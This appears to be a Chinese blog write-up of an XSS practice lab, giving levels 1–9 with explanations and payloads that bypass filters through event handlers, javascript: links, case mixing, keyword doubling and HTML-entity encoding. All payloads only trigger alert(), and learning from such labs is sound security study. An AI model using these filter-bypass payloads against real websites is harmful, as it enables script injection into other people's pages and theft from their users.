xss 挑战赛 — 解题思路

发现了一个xss学习的平台，上面有xss靶机，顺便巩固下之前关于xss的一些知识，这个平台还是很不错的。

在这里插入图片描述

Level 1

第一关直接审查页面源代码可以通过get方式进行弹窗，无过滤，pass
在这里插入图片描述

payload: <script>alert()</script>

Level 2

审查源代码，可以发现该页面有两个输入点，第一个符号转义了，比较困难，我们通过input那里进行输入。
在这里插入图片描述

payload：" onclick=alert() >

Level 3

可以借鉴第二关的经验来做题
在这里插入图片描述
payload:' onclick=alert() >

Level 4

第二关把第二个输入点的一些关键字给屏蔽了,依据前面的经验，我们对之前使用的payload进行部分修改
在这里插入图片描述

payload：" onclick=alert() "

Level 5

第五关，对script这些关键字进行破坏，审查源代码，可以用 " > 闭合掉前面的符号，运用href来解决
在这里插入图片描述

payload：" ><a href=javascript:alert()>

Level 6

第六关先试下一些常规payload观察下页面源代码，发现大部分都被破坏了，于是我们呢就换用下大小写，嘿，能行，pass
在这里插入图片描述

payload：" Onclick=alert()>

payload:" Oonnclick=alert()>

Level 8

这道题随便输个常见payload进行观察页面源代码，发现对于关键字的破坏，根据输入位置我们选择javascript进行xss，但是会对script进行破坏，于是我们经过测试发现十六进制转义可以很好的进行过滤

在这里插入图片描述

payload:javascr&#x69pt:alert()

Level 9

第九关先传一个常用payload过去，发现被屏蔽连接了，所以都是试试，发现全都被屏蔽了，我晕。又花了点时间想一下，这里是添加链接，会不会是没有带链接头？试了下https:// 依旧被屏蔽，试http:// 存活，然后用javascript，发现script被破坏，第八关方法走起，pass
在这里插入图片描述

payload：javascr&#x69pt:alert()//http://